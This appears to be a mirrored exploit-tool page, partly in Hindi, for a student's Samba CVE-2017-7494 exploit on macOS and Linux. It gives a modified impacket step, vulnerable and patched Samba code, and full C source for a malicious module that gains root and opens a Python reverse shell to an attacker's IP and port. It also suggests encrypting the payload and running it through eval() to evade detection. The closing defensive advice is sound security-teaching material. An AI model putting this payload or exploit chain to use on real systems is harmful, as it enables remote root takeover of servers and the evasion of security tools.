BIT-EternalBlue-for-macOS_Linux — नेट सुरक्षा पाठ्यक्रम के अंतिम असाइनमेंट के लिए CVE-2017-7494 का शोषण करें। इससे Linux पर प्रशासनिक प्राथमिकता पर चलने वाली सेवाओं की कमजोरी का पता चलेगा। | Kitploit

साझा करें

BIT-EternalBlue-for-macOS&Linux

Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.

This bug is workable on both macOS and Linux.

Install

Before exploit, you need to download dependencies.

/bin/bash install_requirement.sh

One of the most important dependencies is the impacket package for python. It make smb connection works.

However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.

The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.

However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.

Goto impacket/impacket/smb3.py modify line 11154 and comment following two sentences:

#         fileName = fileName.replace('/', '\\') Should be comment!
        if len(fileName) > 0:
#             fileName = ntpath.normpath(fileName) Should be comment!
            if fileName[0] == '\\':
                fileName = fileName[1:]

ऑपरेटिंग सिस्टम कर्नेल में स्वयं की कमज़ोरियाँ काफी कम होनी चाहिए—भले ही Windows के लिए भी। समस्या आमतौर पर ऑपरेटिंग सिस्टम पर चलने वाली विभिन्न सेवाओं में होती है। उनके पास ऑपरेटिंग सिस्टम जैसी सख्त और कठोरता से परीक्षित कोड नहीं होता, लेकिन वे बहुत उच्च विशेषाधिकारों पर चलते हैं, जिससे दुर्भावनापूर्ण उपयोग के कई अवसर उत्पन्न होते हैं। तो क्या हम ऑपरेटिंग सिस्टम के निचले स्तर के घटकों पर हमला करने के बजाय, उच्च-विशेषाधिकार वाली सेवाओं पर हमला करके पूरे सिस्टम को हथिया सकते हैं? एक अकेला ऑपरेटिंग सिस्टम केवल एक कर्नेल है, जो कुछ नहीं कर सकता। केवल विभिन्न प्रकार की सिस्टम सेवाओं को चलाकर ही हम विविध कार्यक्षमताएँ प्राप्त कर सकते हैं। कई सिस्टम सेवाओं को प्रशासक पहचान में चलाने की आवश्यकता होती है (डेमॉन के रूप में), इसलिए यदि हम ऐसी उच्च-विशेषाधिकार वाली सेवा को हथिया लें, तो स्वाभाविक रूप से हमें सिस्टम प्रशासक विशेषाधिकार मिल जाते हैं, और पूरा ऑपरेटिंग सिस्टम हथिया लिया जाता है।

NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, true);
}

NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, false);
}

static NTSTATUS do_smb_load_module(const char *subsystem,
								   const char *module_name, bool is_probe)
{
...
    /* Check for absolute path */
    // टिप्पणी पर टिप्पणी: यदि इनपुट पथ smb_probe_module() से आता है, जिसे पूर्ण पथ नहीं देना चाहिए, लेकिन smb_probe_module() पूर्ण पथ देता है, तो यह जाँच अप्रभावी होगी, यही इस कमज़ोरी के शोषण का सिद्धांत है।
	if (subsystem && module_name[0] != '/')
	{
		// मूलतः उपतंत्र में जाना चाहिए, SMB उपतंत्र -> पूर्ण पथ रूपांतरण
		full_path = talloc_asprintf(ctx,"%s/%s.%s",	modules_path(ctx, subsystem),module_name,shlib_ext());
        ...
	}
	else
	{
		// लेकिन यह सीधे हमारे निर्मित पूर्ण पथ को लोड करता है, यहाँ आता है
		init = load_module(module_name, is_probe, &handle);	
        // इस प्रकार init एक "अस्तित्वहीन pipe के मॉड्यूल" को पूर्ण पथ से आए मॉड्यूल का उपयोग करने देता है
	}
	// यहाँ सीधे दुर्भावनापूर्ण कोड के कॉल में प्रवेश करता है
	status = init();
...

bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
	NTSTATUS status;
    // यह पंक्ति जोड़ी गई: जाँच करें कि कहीं अनुरोध पूर्ण पथ का मॉड्यूल तो नहीं है
	if (strchr(pipename, '/')) {
		DEBUG(1, ("Refusing open on pipe %s\n", pipename));
		return false;
	}

...

NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	...
    // दूसरी स्तरीय पूर्ण पथ जाँच
	if (strchr(module, '/')) {
		status = NT_STATUS_INVALID_PARAMETER;
		goto done;
	}
	....
done:
	TALLOC_FREE(tmp_ctx);
	return status;
}

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"

static void CreateReverseShell()
{
    pid_t pid;
    pid = fork(); // Use subprocess to detach the main samba process
    if (pid == 0)
    {
        umask(0);
        chdir("/");
        execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Use python to create TCP connection and setup reverse shell
    }
}
#ifdef __linux__
extern bool become_root(void);
#endif
// When Samba load modules, it automatically call this function as entry point
int samba_init_module(void)
{
    // Character: YOU ARE HACKED
    printf("__  __               ___                 __  __           __            __\n\\ \\/ /___  __  __   /   |  ________     / / / /___ ______/ /_____  ____/ /\n \\  / __ \\/ / / /  / /| | / ___/ _ \\   / /_/ / __ `/ ___/ //_/ _ \\/ __  / \n / / /_/ / /_/ /  / ___ |/ /  /  __/  / __  / /_/ / /__/ ,< /  __/ /_/ /  \n/_/\\____/\\__,_/  /_/  |_/_/   \\___/  /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/   \n");
    #ifdef __linux__
    become_root();
    #endif
    CreateReverseShell();
    
    return 0;
}

__  __               ___                 __  __           __            __
\ \/ /___  __  __   /   |  ________     / / / /___ ______/ /_____  ____/ /
 \  / __ \/ / / /  / /| | / ___/ _ \   / /_/ / __ `/ ___/ //_/ _ \/ __  / 
 / / /_/ / /_/ /  / ___ |/ /  /  __/  / __  / /_/ / /__/ ,< /  __/ /_/ /  
/_/\____/\__,_/  /_/  |_/_/   \___/  /_/ /_/\__,_/\___/_/|_|\___/\__,_/

कोड पोर्ट करते समय, मैंने पाया कि Windows संकलित दुर्भावनापूर्ण मॉड्यूल के बाइनरी संस्करण का पता लगा सकता है, इसलिए मैंने अनुमान लगाया कि कई सुरक्षा प्रणालियाँ पहले से ही संकलित execl का पता लगाने की क्षमता रखती हैं
python एक लचीली स्क्रिप्ट भाषा है और अधिकांश आधुनिक Unix-जैसे ऑपरेटिंग सिस्टम में पूर्व-स्थापित होती है, इसलिए python को कॉल करना हमेशा संभव होना चाहिए
चूँकि python एक गतिशील स्क्रिप्ट भाषा है, यह eval() फ़ंक्शन प्रदान करती है, हम रिवर्स शेल खोलने वाली स्क्रिप्ट को एन्क्रिप्ट कर सकते हैं, निष्पादन के समय डिक्रिप्ट कर सकते हैं, फिर eval() के माध्यम से दुर्भावनापूर्ण पेलोड निष्पादित कर सकते हैं, जिससे पहले बिंदु में उल्लिखित सुरक्षा प्रणाली का पता लगाने से बचा जा सकता है
- हालाँकि यह ऑपरेशन इस प्रयोग में प्रदर्शित नहीं किया गया था, यह निश्चित रूप से संभव है
- लेकिन चाहे python हो या C भाषा का रिवर्स शेल पेलोड, हमले के दौरान macOS ने उन पर बिल्कुल भी प्रतिक्रिया नहीं दी। कुछ हद तक यह विचार सिद्ध होता है कि "macOS एक ऐसा ऑपरेटिंग सिस्टम है जिसमें सक्रिय रक्षा उपाय नहीं हैं।"

#         fileName = fileName.replace('/', '\\') Should be comment!
        if len(fileName) > 0:
#             fileName = ntpath.normpath(fileName) Should be comment!
            if fileName[0] == '\\':
                fileName = fileName[1:]

एप्लिकेशन स्तर की कमज़ोरियाँ ऑपरेटिंग सिस्टम से स्वतंत्र होती हैं, और "पूर्णतः सुरक्षित" सिस्टम जैसी कोई चीज़ नहीं होती। कोई भी सिस्टम जो सुरक्षित लगता है, उसे अप्रत्याशित तरीके से भेदा जा सकता है।
महत्वपूर्ण सेवाओं को प्रशासक विशेषाधिकारों पर कम से कम चलाना चाहिए; भले ही उन्हें भेदा जाए, तो भी होस्ट सिस्टम पर अत्यधिक प्रभाव नहीं पड़ेगा।
कंटेनर या वर्चुअल मशीन जैसी तकनीकों का उपयोग करके अलग से चलाया जा सकता है। उदाहरण के लिए, इस प्रयोग के Linux संस्करण में कंटेनर तकनीक का उपयोग किया गया, हमले के बाद केवल Linux कंटेनर के अंदर का root प्राप्त हुआ; यदि कोई अन्य कंटेनर एस्केप कमज़ोरी न हो, तो भौतिक मशीन को नुकसान नहीं पहुँचाया जा सकता। यह "सार्वजनिक तंत्र न्यूनतमकरण सिद्धांत" का अनुपालन करता है।
सुरक्षा समस्याएँ कभी एकतरफा नहीं होतीं—उदाहरण के लिए, केवल scanf_s, strSafe और कुछ "बफ़र ओवरफ़्लो करना कठिन सुरक्षित भाषाओं" पर निर्भर रहकर सभी समस्याओं का समाधान नहीं किया जा सकता; दुर्भावनापूर्ण रूप से शोषण योग्य कमज़ोरियाँ कहीं भी, किसी भी अप्रत्याशित स्थान पर उत्पन्न हो सकती हैं।

BIT-EternalBlue-for-macOS_Linux

सबसे लोकप्रिय

How to use

Uninstall

Todo:

EternalBlue for Mac & Linux

पृष्ठभूमि परिचय

कमज़ोरी विश्लेषण

Samba द्वारा कमज़ोरी का सुधार

प्रयोग सेटअप

Linux लक्ष्य मशीन स्थापना

macOS लक्ष्य मशीन स्थापना

प्रयोग चरण

दुर्भावनापूर्ण पेलोड का निर्माण

Python हमला स्क्रिप्ट

हमला करना

हमले के परिणाम

निष्कर्ष